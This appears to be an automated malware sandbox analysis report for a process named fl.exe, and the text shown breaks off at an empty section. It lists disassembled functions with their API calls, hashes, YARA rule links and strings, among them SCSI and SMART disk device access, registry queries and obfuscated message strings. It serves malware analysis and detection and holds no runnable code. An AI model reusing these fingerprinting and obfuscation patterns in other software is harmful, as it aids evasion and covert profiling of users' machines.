
Uniqueness Score: -1.00%

Function 00D875A4, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 112windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5275C: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 00D52779

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00D87690
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00D876AE
GetExitCodeProcess.KERNEL32(?,?), ref: 00D876BF
CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00D876C8
CloseHandle.KERNEL32(?,?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?), ref: 00D876D1

Strings

D, xrefs: 00D87648

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CloseHandle$CodeExitFileMessageModuleMultipleNameObjectsPeekProcessWait
String ID: D
API String ID: 1554673338-2746444292
Opcode ID: 988be5ddd75736d325ab794451fb504dec2e3108ac576e56f99fc4b24ac2260d
Instruction ID: 08408115d0ee529d169b8acf95e17d8e08ae8333f9b0a0860c1ce4ba44d64229
Opcode Fuzzy Hash: 988be5ddd75736d325ab794451fb504dec2e3108ac576e56f99fc4b24ac2260d
Instruction Fuzzy Hash: D1414271A44619AADF10EBA4CC42FDDB7B9EF08700F6085A5BA14E7191EB74DA088B74

Uniqueness

Uniqueness Score: -1.00%

Function 00D54B10, Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 127stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00D54B6B
lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 00D54BCF
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 00D54C04
lstrlen.KERNEL32(?,0000005D,?), ref: 00D54C67
lstrcpy.KERNEL32(?,0000005C), ref: 00D54C85

Strings

kernel32.dll, xrefs: 00D54B25
GetLongPathNameA, xrefs: 00D54B35
\, xrefs: 00D54C42

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: lstrcpylstrcpyn$lstrlen
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 2167663922-1565342463
Opcode ID: f3b88bae39858f3ae07c7e510e88465c1847bd2958cb67d1740ad707bb3cb69f
Instruction ID: 627947fe58eb8d4e2d78a683f25db27e8a688333f45e849192abb1555d1e0197
Opcode Fuzzy Hash: f3b88bae39858f3ae07c7e510e88465c1847bd2958cb67d1740ad707bb3cb69f
Instruction Fuzzy Hash: 48416075A00618AFDF50DAA8CD89FEE77ECEF48306F0444E1AE49D7241D6749E888B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D66B34, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 181fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,00D66E64,?,\\.\Scsi,C0000000,00000003,00000000,00000003,00000000,00000000,00000000,00D66E39), ref: 00D66BEF
DeviceIoControl.KERNEL32(000000FF,0004D008,0000001C,0000023C,0000001C,0000023C,?,00000000), ref: 00D66CC1
CloseHandle.KERNEL32(000000FF,00D66DC3,0000023C,0000001C,0000023C,?,00000000,00000000,00D66CEE), ref: 00D66CE8

Strings

\\.\SMARTVSD, xrefs: 00D66D01
\\.\Scsi, xrefs: 00D66BC3
SCSIDISK, xrefs: 00D66C2A

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: SCSIDISK$\\.\SMARTVSD$\\.\Scsi
API String ID: 33631002-4143829331
Opcode ID: fcd4553bf649ccd04b6db9358233b2f88e1778679f9298e8f64fb928f12e57de
Instruction ID: 12ce58b556feb1477ec18dc114a5dd903e4faab8347e6fd24a90bb0e702b02b9
Opcode Fuzzy Hash: fcd4553bf649ccd04b6db9358233b2f88e1778679f9298e8f64fb928f12e57de
Instruction Fuzzy Hash: DF71C4706047549FEB21DB24DC4AB99BBB8EB05704F5580E4F908AB2D2D7B59E48CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D861D4, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D86238

Strings

The procedure entry point , xrefs: 00D862BB
The ordinal , xrefs: 00D86270
could not be located in the dynamic link library , xrefs: 00D86287, 00D862CE
KERNEL32.DLL, xrefs: 00D86233
LOADER ERROR, xrefs: 00D862AF, 00D862F6

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: HandleModule
String ID: could not be located in the dynamic link library $KERNEL32.DLL$LOADER ERROR$The ordinal $The procedure entry point
API String ID: 4139908857-2170670254
Opcode ID: 01d46fdf1dd057777c2f5554608cfb687f48cf8d5dc81dbccb9269f649b38cb0
Instruction ID: c6b676ba2fb880fa75baf02d39ef36f44a4be401d2174fbf2674e84e379615a9
Opcode Fuzzy Hash: 01d46fdf1dd057777c2f5554608cfb687f48cf8d5dc81dbccb9269f649b38cb0
Instruction Fuzzy Hash: 26310874A04209AFDF00EF98DC82EAEB7B9EF48720F548465FD00A7255D670EA189B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D84B9C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,00000000,?,000001F7,00000000,00000000,00D84CE2), ref: 00D84C0B
SetWindowTextA.USER32(?,00000000), ref: 00D84C27
GetDlgItemTextA.USER32(00DA6B3C,000003E8,?,0000FFFF), ref: 00D84CA1

Strings

Error, xrefs: 00D84C13
Module name: , xrefs: 00D84C55
Application data:, xrefs: 00D84C6A

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: TextWindow$Item
String ID: Application data:$Module name: $Error
API String ID: 1634842743-3479486310
Opcode ID: 6b697319c4c1b75b7b04180eebfd3f165223d7d6b5f961ed3c39689830f63a65
Instruction ID: 39c2d4c7e0acecab870a53b7d110a813945c4677cc0f603676cd50ed68537382
Opcode Fuzzy Hash: 6b697319c4c1b75b7b04180eebfd3f165223d7d6b5f961ed3c39689830f63a65
Instruction Fuzzy Hash: 34318870A00309ABDB21FB64CC42F9DB7B9EF48700F5144A1B954A76D5EBB4DB844B74

Uniqueness

Uniqueness Score: -1.00%

Function 00D84EC0, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(?,00000000,Information,00000040), ref: 00D84F0D
MessageBoxA.USER32(?,00000000,Error,00000010), ref: 00D84F32

Strings

Sdrmqw$sdv&ubi|), xrefs: 00D84EF9
Sdrmqw$w`kboi`(m{{ex*, xrefs: 00D84F1E
Error, xrefs: 00D84F16
Information, xrefs: 00D84EF1

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Message
String ID: Error$Information$Sdrmqw$sdv&ubi|)$Sdrmqw$w`kboi`(m{{ex*
API String ID: 2030045667-4111324133
Opcode ID: 9e04c9feb865949d148f537faa667565f676415c76dfce9d42f13b569f8bf321
Instruction ID: 97d00b799d34c5510f4be7ea52f035f4cf7ae88e7c65054ed6327e5cb019c365
Opcode Fuzzy Hash: 9e04c9feb865949d148f537faa667565f676415c76dfce9d42f13b569f8bf321
Instruction Fuzzy Hash: 4C017C70244305BFE710F764CC82F6DB2A8EF44B04F914868BA00A6682D6B4DE088731

Uniqueness

Uniqueness Score: -1.00%

Function 00D72828, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000004,00000080,00000000,00000000,00D72A0E,?,00000000,00D72A3B), ref: 00D728E0

Strings

158, xrefs: 00D729D8

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CreateFile
String ID: 158
API String ID: 823142352-3801435587
Opcode ID: 152765c2d375b162ec3680afb55df52bd999c6db8c5f5e207037b760fbb10cb6
Instruction ID: 3f3b4c299832359886551642cce3b88b545f23c549f21b9bc51cf643f2cb3aa2
Opcode Fuzzy Hash: 152765c2d375b162ec3680afb55df52bd999c6db8c5f5e207037b760fbb10cb6
Instruction Fuzzy Hash: DF510A70A40248AFDF21EB54C892BADB7B4EF44305F5084A5F918A7291E770AE898F75

Uniqueness

Uniqueness Score: -1.00%

Function 00D72A58, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000004,00000080,00000000,00000000,00D72C3E,?,00000000,00D72C6B), ref: 00D72B10

Strings

158, xrefs: 00D72C08

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CreateFile
String ID: 158
API String ID: 823142352-3801435587
Opcode ID: 1acbb3df852abe5270c07dba7dbbdfeb72a7260b2033e74f8dd937d2632c703b
Instruction ID: 698cd91dfa850ebab17ba1e39f86191335d76eafc1cda54b8c229ea4f221c1d2
Opcode Fuzzy Hash: 1acbb3df852abe5270c07dba7dbbdfeb72a7260b2033e74f8dd937d2632c703b
Instruction Fuzzy Hash: 29511A70A00248AFDB11EB54CD52BADB7B4FF44305F50C4A5F948A7291D774AE888F75

Uniqueness

Uniqueness Score: -1.00%

Function 05CC5518, Relevance: 8.9, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

,~jk, xrefs: 05CC5633
,~jk, xrefs: 05CC5607
,~jk, xrefs: 05CC565F
,~jk, xrefs: 05CC5583
,~jk, xrefs: 05CC55DB
,~jk, xrefs: 05CC555A
,~jk, xrefs: 05CC55AF

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: ,~jk$,~jk$,~jk$,~jk$,~jk$,~jk$,~jk
API String ID: 0-3583891999
Opcode ID: 63a19317a7c48fc2ef1d4fcc375c3422ed6992f2f1d3fe1ae8b27deb6b2d2d82
Instruction ID: e8c589c268381ecce901e163e50199cb95707934c6b6b9d3611106e12340984e
Opcode Fuzzy Hash: 63a19317a7c48fc2ef1d4fcc375c3422ed6992f2f1d3fe1ae8b27deb6b2d2d82
Instruction Fuzzy Hash: FB3124343000086BDB056A36E85467E779FEBCA694B21C99CD8028F394EF3D5C0207EB

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DD38, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(netapi32.dll,00000000,00D6DEBF), ref: 00D6DD69
GetProcAddress.KERNEL32(00000000,Netbios), ref: 00D6DDA3
FreeLibrary.KERNEL32(00000000,00D6DEA9,00D6DEA2,?,?,netapi32.dll,00000000,00D6DEBF), ref: 00D6DE9C

Strings

netapi32.dll, xrefs: 00D6DD64, 00D6DD7F
Netbios, xrefs: 00D6DD9A

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: Netbios$netapi32.dll
API String ID: 4061214504-970706980
Opcode ID: 404aa798171083f512587a72a0d79ac940edf683ec350363ba4296271f7eefc1
Instruction ID: 19b9bdbd4954f2f4e7aa1af9ad85f086723a9d97b318a315fb1743117406610b
Opcode Fuzzy Hash: 404aa798171083f512587a72a0d79ac940edf683ec350363ba4296271f7eefc1
Instruction Fuzzy Hash: 9A41E570E042499FDF21EB60EC027EEBBB6EF55300F4884A5F88067142D7765949CB70

Uniqueness

Uniqueness Score: -1.00%

Function 05CC5952, Relevance: 8.9, Strings: 7, Instructions: 116COMMON

Download Yara Rule

Strings

,~jk, xrefs: 05CC5A97
,~jk, xrefs: 05CC5A13
,~jk, xrefs: 05CC59E7
,~jk, xrefs: 05CC59BB
,~jk, xrefs: 05CC5A3F
,~jk, xrefs: 05CC5992
,~jk, xrefs: 05CC5A6B

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: ,~jk$,~jk$,~jk$,~jk$,~jk$,~jk$,~jk
API String ID: 0-3583891999
Opcode ID: c4b642f9b7d39caabeb984f7d9f73b16b4ae1737ec96fc29ea22fe04f006a592
Instruction ID: bdce440c945fabf8516aa5b53913cefa7253b60c836b03be402177ad8b8b2806
Opcode Fuzzy Hash: c4b642f9b7d39caabeb984f7d9f73b16b4ae1737ec96fc29ea22fe04f006a592
Instruction Fuzzy Hash: E531F2383000045BDB056A36D850A7E379FEBCE688B118998D8028F385EF7D6C0647EB

Uniqueness

Uniqueness Score: -1.00%

Function 00D7FA44, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00D7FA6E
EndDialog.USER32(?,00000000), ref: 00D7FA97

Strings

Incorrect Password!, xrefs: 00D7FA9E
172, xrefs: 00D7FAC1

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Dialog
String ID: 172$Incorrect Password!
API String ID: 1120787796-2626061803
Opcode ID: a793b486e8cd8ac1ee016c510d1efdaf1b160241f91740cc49f2ec7b38695a73
Instruction ID: 3b7eda93137a617cf512dae5a3c0dae079d7e479bf87c4a48dd7be1ba3874a8a
Opcode Fuzzy Hash: a793b486e8cd8ac1ee016c510d1efdaf1b160241f91740cc49f2ec7b38695a73
Instruction Fuzzy Hash: D1014C316443496BDF30EFA8CD4ABAE3B54FB00344F48C631B94C9B18AE6B1D98587B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D7DD60, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(comctl32.dll,00000000,00D7DE0A,?,00DA5128), ref: 00D7DDAA
LoadLibraryA.KERNEL32(comctl32.dll,comctl32.dll,00000000,00D7DE0A,?,00DA5128), ref: 00D7DDBA
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00D7DDCB

Strings

comctl32.dll, xrefs: 00D7DDA5, 00D7DDB5
InitCommonControlsEx, xrefs: 00D7DDC5

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: InitCommonControlsEx$comctl32.dll
API String ID: 310444273-802336580
Opcode ID: abfc169c178ec4c450e139d9c7d2c5cee0fdf6f8659b939686b8fa14dafd4f0e
Instruction ID: 9446794dab3bb683137159328738bd708b4867f9f9576d8ff6b3ffd6fdd861a0
Opcode Fuzzy Hash: abfc169c178ec4c450e139d9c7d2c5cee0fdf6f8659b939686b8fa14dafd4f0e
Instruction Fuzzy Hash: 2101F521704B865FEB3257E88CC173A35BECF95300F98C470EA1886996FEBAC8184235

Uniqueness

Uniqueness Score: -1.00%

Function 00D519C8, Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00D98430), ref: 00D519F5
LocalFree.KERNEL32(00D98488,00D98430,00000000,00D51A9E), ref: 00D51A07
LocalFree.KERNEL32(00D98448,00000000,00000000,00008000,00D98488,00000000,00D51A9E), ref: 00D51A65
RtlLeaveCriticalSection.NTDLL(00D98430), ref: 00D51A8E
RtlDeleteCriticalSection.NTDLL(00D98430), ref: 00D51A98

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CriticalSection$FreeLocal$DeleteEnterLeave
String ID:
API String ID: 3902855382-0
Opcode ID: 9c33b19c3d2e363690ef916b069944d90d508476f61b10aadb7ff9f781331b24
Instruction ID: 3d071ae5cf90611a388c639f1600b9cdacf27c2e502929f46c827153b820e14b
Opcode Fuzzy Hash: 9c33b19c3d2e363690ef916b069944d90d508476f61b10aadb7ff9f781331b24
Instruction Fuzzy Hash: D01163386493016EEF1297A49C82B1A7796DF47F46F480412FD04C7792CE74988CA73A

Uniqueness

Uniqueness Score: -1.00%

Function 00D59F88, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00D5A14A,?,?,?,?,00000000,00000000,00000000,00000000), ref: 00D59FB6

Strings

ggg, xrefs: 00D5A094
eeee, xrefs: 00D5A0BA
yyyy, xrefs: 00D5A0A1

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: LocaleThread
String ID: eeee$ggg$yyyy
API String ID: 635194068-1253427255
Opcode ID: a326eb8fa62a26b290279734deedb232c1a613f7291618f2d567f64fca005ae9
Instruction ID: f0dff473b716e43c418f19e68c720ff1ac81e5ba5465835224ebb489ab830fae
Opcode Fuzzy Hash: a326eb8fa62a26b290279734deedb232c1a613f7291618f2d567f64fca005ae9
Instruction Fuzzy Hash: CF41E5643147255BCF12A67CC892ABEB29ADF44343F640625FD92C374AE624DD0D8672

Uniqueness

Uniqueness Score: -1.00%

Function 00D80C60, Relevance: 6.2, APIs: 4, Instructions: 207threadCOMMON

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,0000000F,?,?,?), ref: 00D80D0D
QueryPerformanceCounter.KERNEL32(?,00000000,00D80D94,?,?,?,?), ref: 00D80D26
QueryPerformanceCounter.KERNEL32(?,?,00000000,00D80D94,?,?,?,?), ref: 00D80D53
SetThreadPriority.KERNEL32(?,7FFFFFFF,00D80D9B,?,?,?,?), ref: 00D80D8E

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CounterPerformancePriorityQueryThread
String ID:
API String ID: 179279453-0
Opcode ID: 791e3638c1ea341fca8622b355283c16167d9f18ef444c049a9c2311da339600
Instruction ID: b6a45936ba3653a52ef38875459beb46e9d136990897e88cd9eb6edc4af43496
Opcode Fuzzy Hash: 791e3638c1ea341fca8622b355283c16167d9f18ef444c049a9c2311da339600
Instruction Fuzzy Hash: B681D274E002199FCF40DFE9C985AEDBBF5FB09300F208566E914EB255E730A949DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D80318, Relevance: 6.1, APIs: 4, Instructions: 91registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,00000000,00D80407), ref: 00D8035C
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?,00000000,00D80407), ref: 00D8038E
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019), ref: 00D803BE
RegCloseKey.ADVAPI32(?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?,00000000,00D80407), ref: 00D803EC

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 57cf4936c7ee9a19d76cb58e6970744172230a881767395093c6fca4ff404641
Instruction ID: eae90c0a4caa25b25460d9a267cad6742082215921db7683ebc78c173340cacc
Opcode Fuzzy Hash: 57cf4936c7ee9a19d76cb58e6970744172230a881767395093c6fca4ff404641
Instruction Fuzzy Hash: 7531E871A10209AFDF41EBA9DC81EAFBBBCEF49740F504561BD14E7241E6309E088B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D5CF80, Relevance: 6.1, APIs: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?), ref: 00D5CFA6
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 00D5CFD4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000003,?,?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019), ref: 00D5D004
RegCloseKey.ADVAPI32(?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 00D5D010

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction ID: 07669845793b3b9bf3c52781060e36e4e0e86adae3b51f9d41ff69a89b6f8159
Opcode Fuzzy Hash: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction Fuzzy Hash: 0D119A76E00218BBDF11DAA9DC85EEEB7BCEF09351F044566BD14EB241E6709A448BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D84FB0, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(00DA6B3C,000003E8,?,0000FFFF), ref: 00D85005
GlobalHandle.KERNEL32(00000000), ref: 00D85036
GlobalUnWire.KERNEL32(00000000), ref: 00D8503C
GlobalHandle.KERNEL32(00000000), ref: 00D85047

Part of subcall function 00D563C0: GlobalFree.KERNEL32(00000000), ref: 00D563CD

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Global$Handle$FreeItemTextWire
String ID:
API String ID: 3046468837-0
Opcode ID: 39968c56db82e79a26e9998334c6ceeaad5437e4a01909ff3d8cf6b5622bfc1f
Instruction ID: 5ac1ce03caae82735ca6d262e42d60c70766edb2a391d21af954578ae8e5cc08
Opcode Fuzzy Hash: 39968c56db82e79a26e9998334c6ceeaad5437e4a01909ff3d8cf6b5622bfc1f
Instruction Fuzzy Hash: 57018CA07007015AEE20B7B89C83B6A728CCF05706F8846307E09D73C7EA69DC4897B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D59ED8, Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00D59F6F,?,?,00000000), ref: 00D59EF0
GetThreadLocale.KERNEL32(00000000,00000004,00000000,00D59F6F,?,?,00000000), ref: 00D59F20
GetThreadLocale.KERNEL32(00000000,00000003,Function_00008E24,00000000,00000000,00000004,00000000,00D59F6F,?,?,00000000), ref: 00D59F49
EnumCalendarInfoA.KERNEL32(Function_00008E60,00000000,00000000,00000003), ref: 00D59F54

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: LocaleThread$CalendarEnumInfo
String ID:
API String ID: 1139405593-0
Opcode ID: eac668ab0feac9e3ab0a2f44e920b1e65595912efcea475f71436a7dfb9b89b6
Instruction ID: e9dc9afedcc9bfd1ea3046fa92ea27bb4efa31e493d445f5ef4c70b8343506cf
Opcode Fuzzy Hash: eac668ab0feac9e3ab0a2f44e920b1e65595912efcea475f71436a7dfb9b89b6
Instruction Fuzzy Hash: 76018F71604604AFEF02A6648C23F6AB29CDB86733F910560FD14D76C2EA75DE0C86B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D6EC08, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,0000002D,00000000,00D6ECF1), ref: 00D6EC33

Strings

\System\Smartvsd.vxd, xrefs: 00D6EC81
\System\Iosubsys\Smartvsd.vxd, xrefs: 00D6EC4E

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: DirectoryWindows
String ID: \System\Iosubsys\Smartvsd.vxd$\System\Smartvsd.vxd
API String ID: 3619848164-3450563227
Opcode ID: 7725f4fe3a8fb19f65cb775f8430eb3531744914682b26599ebebc66b5fc117c
Instruction ID: c72c2935cd518fdaa271d0d7ad0998358d70de45e823f47be88b536f33341a4e
Opcode Fuzzy Hash: 7725f4fe3a8fb19f65cb775f8430eb3531744914682b26599ebebc66b5fc117c
Instruction Fuzzy Hash: C221AFB4A00608ABDF10EBA4C882A9DB7B8EF84750F114561FD20A33D5EB709E099A31

Uniqueness

Uniqueness Score: -1.00%

Function 00D589A0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00D58A7E), ref: 00D58A26
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00D58A7E), ref: 00D58A2C

Strings

yyyy, xrefs: 00D58A01

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: c739886a3fe030c263fcc928379f6ce149748ccd6ed58f5f77c6fabdc9ad62e2
Instruction ID: b83fd566f12021052843b97ab90faa642383fc9ad4f277b90b3b5359f5e364b5
Opcode Fuzzy Hash: c739886a3fe030c263fcc928379f6ce149748ccd6ed58f5f77c6fabdc9ad62e2
Instruction Fuzzy Hash: 04214174A00208AFDF05EB68C852AAEB7B8EF08741F504466FD05E7752DA709F08DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D7D8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(00DA5114,00DA4FDC,00000100), ref: 00D7D936
MessageBoxA.USER32(00DA5104,Key is not valid, please try again!,00D972A3,00000030), ref: 00D7D9A7

Strings

Key is not valid, please try again!, xrefs: 00D7D9A1

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: MessageTextWindow
String ID: Key is not valid, please try again!
API String ID: 371145771-3909362084
Opcode ID: 77c321781909687cdf2e6989ccee1cec849e4d5761a1e11baeb17c1250cc8331
Instruction ID: 6b96cbb4532889584b12481089277833963a6e541610a01c61cba8cc8bb6bf7d
Opcode Fuzzy Hash: 77c321781909687cdf2e6989ccee1cec849e4d5761a1e11baeb17c1250cc8331
Instruction Fuzzy Hash: 9B019E61354340AEEB0173E49C03B6636A9EF46789F588021FE88EB7D2E3D0C809DB35

Uniqueness

Uniqueness Score: -1.00%

Function 00D80A10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00D80ACE,?,00000000,?,00D805A1), ref: 00D80A67

Strings

\SYSTEM\CurrentControlSet\Control\Windows\, xrefs: 00D80A7D
CSDVersion, xrefs: 00D80A78

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Version
String ID: CSDVersion$\SYSTEM\CurrentControlSet\Control\Windows\
API String ID: 1889659487-4130263263
Opcode ID: cf8511276e8f1e982b538ea2a8039d4f08b7b4c4861c832a0cc1c6cf379ed8b1
Instruction ID: c5e2b973506344bdf71cedadb88679f195f1ac790fa4e6bf7080d27844980e63
Opcode Fuzzy Hash: cf8511276e8f1e982b538ea2a8039d4f08b7b4c4861c832a0cc1c6cf379ed8b1
Instruction Fuzzy Hash: CD11DB70B043485FEB58EB74DC91B6A7FE9DB05700F5144B5A908D2682D6749D4CCB31

Uniqueness

Uniqueness Score: -1.00%

Function 00D77464, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00DA4E58), ref: 00D7746F
RtlLeaveCriticalSection.NTDLL(00DA4E58), ref: 00D774E5

Strings

181, xrefs: 00D774C5

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CriticalSection$EnterLeave
String ID: 181
API String ID: 3168844106-523153041
Opcode ID: dc486dadc3c2082966b0ece2d08e5997e146984c2b3d9fa3e039eb564ce0d3b9
Instruction ID: 68a130175c4c48a99efa4120fe707f59f4c5f963ac3856240681755994c344d6
Opcode Fuzzy Hash: dc486dadc3c2082966b0ece2d08e5997e146984c2b3d9fa3e039eb564ce0d3b9
Instruction Fuzzy Hash: 220180721047459BCF30EB69C882A877BE8EF45758B04CD2AF95947512F7A0E94D87B0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fl.exe PID: 1476 Parent PID: 6764 fl.exeCOMMON

Executed Functions

Function 00007FFA3603A689, Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

